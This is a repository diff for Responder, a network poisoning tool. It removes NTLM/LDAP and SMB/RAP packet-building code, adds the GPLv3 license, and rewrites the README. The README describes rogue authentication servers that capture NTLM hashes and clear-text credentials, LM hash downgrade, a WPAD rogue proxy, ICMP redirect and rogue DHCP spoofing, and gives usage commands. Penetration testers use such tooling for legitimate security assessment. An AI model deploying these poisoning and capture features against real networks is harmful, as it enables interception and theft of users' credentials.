-        CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
-
-        ###### AvPairs Offset
-        CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
-
-        ###### LDAP Packet Len
-        CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
-
-        OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
-        NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
-        ##### LDAP Len Calculation:
-        self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
-        self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
-        self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
-
-        ##### Workstation Offset Calculation:
-        self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
-        self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
-        self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
-
-        ##### IvPairs Offset Calculation:
-        self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
-        self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
-        self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
-        ##### IvPair Calculation:
-        self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
-        self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
-

LICENSE

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
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+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

RAPLANMANPackets.py

@@ -1,160 +0,0 @@
-import struct
-from odict import OrderedDict
-
-def longueur(payload):
-    length = struct.pack(">i", len(''.join(payload)))
-    return length
-
-class Packet():
-    fields = OrderedDict([
-        ("data", ""),
-    ])
-    def __init__(self, **kw):
-        self.fields = OrderedDict(self.__class__.fields)
-        for k,v in kw.items():
-            if callable(v):
-                self.fields[k] = v(self.fields[k])
-            else:
-                self.fields[k] = v
-    def __str__(self):
-        return "".join(map(str, self.fields.values()))
-
-
-class SMBHeader(Packet):
-    fields = OrderedDict([
-        ("proto", "\xff\x53\x4d\x42"),
-        ("cmd", "\x72"),
-        ("error-code", "\x00\x00\x00\x00" ),
-        ("flag1", "\x08"),
-        ("flag2", "\x01\x00"),
-        ("pidhigh", "\x00\x00"),
-        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
-        ("reserved", "\x00\x00"),
-        ("tid", "\x00\x00"),
-        ("pid", "\x3c\x1b"),
-        ("uid", "\x00\x00"),
-        ("mid", "\x00\x00"),
-    ])
-
-class SMBNegoData(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x00"),
-        ("bcc", "\x54\x00"),
-        ("separator1","\x02" ),
-        ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
-        ("separator2","\x02"),
-        ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
-    ])
-    def calculate(self):
-        CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
-        self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
-
-class SMBSessionData(Packet):
-    fields = OrderedDict([
-        ("wordcount", "\x0a"),
-        ("AndXCommand", "\xff"),
-        ("reserved","\x00"),
-        ("andxoffset", "\x00\x00"),
-        ("maxbuff","\xff\xff"),
-        ("maxmpx", "\x02\x00"),
-        ("vcnum","\x01\x00"),
-        ("sessionkey", "\x00\x00\x00\x00"),
-        ("PasswordLen","\x18\x00"),
-        ("reserved2","\x00\x00\x00\x00"),
-        ("bcc","\x3b\x00"),
-        ("AccountPassword",""),
-        ("AccountName",""),
-        ("AccountNameTerminator","\x00"),
-        ("PrimaryDomain","WORKGROUP"),
-        ("PrimaryDomainTerminator","\x00"),
-        ("NativeOs","Unix"),
-        ("NativeOsTerminator","\x00"),
-        ("NativeLanman","Samba"),
-        ("NativeLanmanTerminator","\x00"),
-
-    ])
-    def calculate(self): 
-        CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
-        self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
-        self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
-
-class SMBTreeConnectData(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x04"),
-        ("AndXCommand", "\xff"),
-        ("Reserved","\x00" ),
-        ("Andxoffset", "\x00\x00"),
-        ("Flags","\x08\x00"),
-        ("PasswdLen", "\x01\x00"),
-        ("Bcc","\x1b\x00"),
-        ("Passwd", "\x00"),
-        ("Path",""),
-        ("PathTerminator","\x00"),
-        ("Service","?????"),
-        ("Terminator", "\x00"),
-
-    ])
-    def calculate(self): 
-        self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
-        BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
-        self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
-
-class RAPNetServerEnum3Data(Packet):
-    fields = OrderedDict([
-        ("Command", "\xd7\x00"),
-        ("ParamDescriptor", "WrLehDzz"),
-        ("ParamDescriptorTerminator", "\x00"),
-        ("ReturnDescriptor","B16BBDz"),
-        ("ReturnDescriptorTerminator", "\x00"),
-        ("DetailLevel", "\x01\x00"),
-        ("RecvBuff","\xff\xff"),
-        ("ServerType", "\x00\x00\x00\x80"),
-        ("TargetDomain","SMB"),
-        ("RapTerminator","\x00"),
-        ("TargetName","ABCD"),
-        ("RapTerminator2","\x00"),
-    ])
-
-class SMBTransRAPData(Packet):
-    fields = OrderedDict([
-        ("Wordcount", "\x0e"),
-        ("TotalParamCount", "\x24\x00"),
-        ("TotalDataCount","\x00\x00" ),
-        ("MaxParamCount", "\x08\x00"),
-        ("MaxDataCount","\xff\xff"),
-        ("MaxSetupCount", "\x00"),
-        ("Reserved","\x00\x00"),
-        ("Flags", "\x00"),
-        ("Timeout","\x00\x00\x00\x00"),
-        ("Reserved1","\x00\x00"),
-        ("ParamCount","\x24\x00"),
-        ("ParamOffset", "\x5a\x00"),
-        ("DataCount", "\x00\x00"),
-        ("DataOffset", "\x7e\x00"),
-        ("SetupCount", "\x00"),
-        ("Reserved2", "\x00"),
-        ("Bcc", "\x3f\x00"),
-        ("Terminator", "\x00"),
-        ("PipeName", "\\PIPE\\LANMAN"),
-        ("PipeTerminator","\x00\x00"),
-        ("Data", ""),
-
-    ])
-    def calculate(self):
-        #Padding
-        if len(str(self.fields["Data"]))%2==0:
-           self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
-        else:
-           self.fields["PipeTerminator"] = "\x00\x00\x00"
-        ##Convert Path to Unicode first before any Len calc.
-        self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
-        ##Data Len
-        self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
-        self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
-        ##Packet len
-        FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
-
-        self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
-        ##Bcc Buff Len
-        BccComplete    = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
-        self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]

README.md

@@ -1,173 +1,152 @@
-NBT-NS/LLMNR Responder
+# Responder.py #
-Laurent Gaffie <lgaffie@trustwave.com>
-http://www.spiderlabs.com
 
-INTRODUCTION
+LLMNR/NBT-NS/mDNS Poisoner
-============
 
-This tool is first an LLMNR and NBT-NS responder, it will answer to 
+(Original work by Laurent Gaffie <lgaffie@trustwave.com> http://www.spiderlabs.com)
-*specific* NBT-NS (NetBIOS Name Service) queries based on their name 
-suffix (see: http://support.microsoft.com/kb/163409). By default, the
-tool will only answers to File Server Service request, which is for SMB.
-The concept behind this, is to target our answers, and be stealthier on
-the network. This also helps to ensure that we don't break legitimate
-NBT-NS behavior. You can set the -r option to "On" via command line if 
-you want this tool to answer to the Workstation Service request name
-suffix.
 
-FEATURES
-========
 
-- Built-in SMB Auth server.
+
-  Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default.
+## Intro ##
-  Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion.
-  Clear text password is supported for NT4, and LM hashing downgrade when the 
-  --lm option is set to On. This functionality is enabled by default when the
-  tool is launched.
 
-- Built-in MSSQL Auth server.
+Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
-  In order to redirect SQL Authentication to this tool, you will need to
-  set the option -r to On(NBT-NS queries for SQL Server lookup are using
-  the Workstation Service name suffix) for systems older than windows 
-  Vista (LLMNR will be used for Vista and higher). This server supports
-  NTLMv1, LMv2 hashes. This functionality was successfully tested on 
-  Windows SQL Server 2005 & 2008.
 
-- Built-in HTTP Auth server.
+The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix.
-  In order to redirect HTTP Authentication to this tool, you will need
-  to set the option -r to On for Windows version older than Vista (NBT-NS
-  queries for HTTP server lookup are sent using the Workstation Service
-  name suffix). For Vista and higher, LLMNR will be used. This server 
-  supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server
-  was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
-  Note: This module also works for WebDav NTLM authentication issued from
-  Windows WebDav clients (WebClient). You can now send your custom files to a victim.
 
-- Built-in HTTPS Auth server.
+## Features ##
-  In order to redirect HTTPS Authentication to this tool, you will need
+
-  to set the -r option to On for Windows versions older than Vista (NBT-NS
+- Built-in SMB Auth server.
-  queries for HTTP server lookups are sent using the Workstation Service
+	
-  name suffix). For Vista and higher, LLMNR will be used. This server 
+Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. This functionality is enabled by default when the tool is launched.
-  supports NTLMv1, NTLMv2, *and* Basic Authentication. This server
+
-  was successfully tested on IE 6 to IE 10, Firefox, Chrome, and Safari.
+- Built-in MSSQL Auth server.
-  The folder Cert/ was added and contain 2 default keys, including a dummy
+
-  private key. This is *intentional*, the purpose is to have Responder 
+In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008.
-  working out of the box. A script was added in case you need to generate
+
-  your own self signed key pair.
+- Built-in HTTP Auth server.
+
+In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari.
+
+Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
+
+- Built-in HTTPS Auth server.
+
+Same as above. The folder certs/ containa 2 default keys, including a dummy private key. This is *intentional*, the purpose is to have Responder working out of the box. A script was added in case you need to generate your own self signed key pair.
 
 - Built-in LDAP Auth server.
-  In order to redirect LDAP Authentication to this tool, you will need
-  to set the option -r to On for Windows version older than Vista (NBT-NS
-  queries for HTTP server lookup are sent using the Workstation Service
-  name suffix). For Vista and higher, LLMNR will be used. This server 
-  supports NTLMSSP hashes and Simple Authentication (clear text authentication).
-  This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
 
-- Built-in FTP Auth server.
+In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
-  This module will collect FTP clear text credentials.
 
-- Built-in small DNS server. This server will answer type A queries. This
+- Built-in FTP, POP3, IMAP, SMTP Auth servers.
-  is really handy when it's combined with ARP spoofing. 
 
-- All hashes are printed to stdout and dumped in an unique file John
+This modules will collect clear text credentials.
-  Jumbo compliant, using this format:
-  (SMB or MSSQL or HTTP)-(ntlm-v1 or v2 or clear-text)-Client_IP.txt
-  The file will be located in the current folder.
 
-- Responder will logs all its activity to a file Responder-Session.log.
+- Built-in DNS server.
 
-- When the option -f is set to "On", Responder will fingerprint every host who issued
+This server will answer type A queries. This is really handy when it's combined with ARP spoofing. 
-  an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode. 
 
-- Browser Listener finds the PDC in stealth mode.
+- Built-in WPAD Proxy Server.
 
-- Icmp Redirect for MITM on Windows XP/2003 and earlier Domain members. This attack combined with
+This module will capture all HTTP requests from anyone launching Internet Explorer on the network if they have "Auto-detect settings" enabled. This module is higly effective. You can configure your custom PAC script in Responder.conf and inject HTML into the server's responses. See Responder.conf.
-  the DNS module is pretty effective.
 
-- WPAD rogue transparent proxy server. This module will capture all HTTP requests from anyone launching Internet Explorer on the network. This module is higly effective. You can now send your custom Pac script to a victim and inject HTML into the server's responses. See Responder.conf. This module is now enabled by default.
+- Browser Listener
 
-- Responder is now using a configuration file. See Responder.conf.
+This module allows to find the PDC in stealth mode.
 
-- Built-in POP3 auth server. This module will collect POP3 plaintext credentials
+- Fingerprinting
 
-- Built-in SMTP auth server. This module will collect PLAIN/LOGIN clear text credentials.
+When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode. 
 
-CONSIDERATIONS
+- Icmp Redirect
-==============
 
-- This tool listen on several port: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433,
+    python tools/Icmp-Redirect.py
-  TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
-  If you run Samba on your system, stop smbd and nmbd and all other 
-  services listening on these ports.
-  For Ubuntu users: 
-  Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line : "dns=dnsmasq".
-  Then kill dnsmasq with this command (as root): killall dnsmasq -9
 
-- Any rogue server can be turn off in Responder.conf.
+For MITM on Windows XP/2003 and earlier Domain members. This attack combined with the DNS module is pretty effective.
 
-- You can set a network interface via command line switch -I. Default is all. 
+- Rogue DHCP
+
+    python tools/DHCP.py
+
+DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL.
+
+- Analyze mode.
+
+This module allows you to see NBT-NS, BROWSER, LLMNR, DNS requests on the network without poisoning any responses. Also, you can map domains, MSSQL servers, workstations passively, see if ICMP Redirects attacks are plausible on your subnet. 
+
+## Hashes ##
+
+All hashes are printed to stdout and dumped in an unique file John Jumbo compliant, using this format:
+
+    (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
+
+Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
+
+- Responder will logs all its activity to Responder-Session.log
+- Analyze mode will be logged to Analyze-Session.log
+- Poisoning will be logged to Poisoners-Session.log
+
+Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
+
+
+## Considerations ##
+
+- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
+
+- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
+
+- For Ubuntu users:
+
+Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dns=dnsmasq`. Then kill dnsmasq with this command (as root): `killall dnsmasq -9`
+
+- Any rogue server can be turned off in Responder.conf.
 
 - This tool is not meant to work on Windows.
 
+## Usage ##
 
-USAGE
+First of all, please take a look at Responder.conf and tweak it for your needs.
-=====
 
-First of all, please take a look at Responder.conf and set it for your needs.
+Running the tool:
-Running this tool:
 
-- python Responder.py [options]
+    ./Responder.py [options]
 
-Usage Example:
+Typical Usage Example:
 
-python Responder.py -i 10.20.30.40 -r On -I eth0
+    ./Responder.py -I eth0 -wrf
 
-Options List:
+Options:
 
--h, --help                           show this help message and exit.
+	  --version             show program's version number and exit
-
+	  -h, --help            show this help message and exit
--i 10.20.30.40, --ip=10.20.30.40     The ip address to redirect the traffic to.
+	  -A, --analyze         Analyze mode. This option allows you to see NBT-NS,
-                                     (usually yours)
+	                        BROWSER, LLMNR requests without responding.
-
+	  -I eth0, --interface=eth0
--I eth0, --interface=eth0            Network interface to use
+	                        Network interface to use
-
+	  -b, --basic           Return a Basic HTTP authentication. Default: NTLM
--b Off, --basic=Off                  Set this to On if you want to return a 
+	  -r, --wredir          Enable answers for netbios wredir suffix queries.
-                                     Basic HTTP authentication. Off will return 
+	                        Answering to wredir will likely break stuff on the
-                                     an NTLM authentication.
+	                        network. Default: False
-
+	  -d, --NBTNSdomain     Enable answers for netbios domain suffix queries.
--r Off, --wredir=Off                 Set this to On to enable answers for netbios 
+	                        Answering to domain suffixes will likely break stuff
-                                     wredir suffix queries. Answering to wredir
+	                        on the network. Default: False
-                                     will likely break stuff on the network 
+	  -f, --fingerprint     This option allows you to fingerprint a host that
-                                     (like classics 'nbns spoofer' will).
+	                        issued an NBT-NS or LLMNR query.
-                                     Default value is therefore set to Off.
+	  -w, --wpad            Start the WPAD rogue proxy server. Default value is
-
+	                        False
--f Off, --fingerprint=Off            This option allows you to fingerprint a 
+	  -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
-                                     host that issued an NBT-NS or LLMNR query.
+	                        Upstream HTTP proxy used by the rogue WPAD Proxy for
-
+	                        outgoing requests (format: host:port)
--w On, --wpad=On                     Set this to On or Off to start/stop the WPAD rogue
+	  -F, --ForceWpadAuth   Force NTLM/Basic authentication on wpad.dat file
-                                     proxy server. Default value is On
+	                        retrieval. This may cause a login prompt. Default:
-
+	                        False
---lm=Off                             Set this to On if you want to force LM hashing
+	  --lm                  Force LM hashing downgrade for Windows XP/2003 and
-                                     downgrade for Windows XP/2003 and earlier. Default value is Off
+	                        earlier. Default: False
-
+	  -v, --verbose         Increase verbosity.
--F Off, --ForceWpadAuth=Off          Set this to On or Off to force NTLM/Basic authentication on 
+	
-                                     wpad.dat file retrieval. This might cause a login prompt in
-                                     some specific cases. Default value is Off
-
--v                                   More verbose
 
 
 
-For more information read these posts: 
+
-http://blog.spiderlabs.com/2012/10/introducing-responder-10.html
+## Copyright ##
-http://blog.spiderlabs.com/2013/01/owning-windows-networks-with-responder-17.html
-http://blog.spiderlabs.com/2013/02/owning-windows-network-with-responder-part-2.html
-
-Follow our latest updates on twitter:
-https://twitter.com/PythonResponder
-
-COPYRIGHT
-=========
 
 NBT-NS/LLMNR Responder
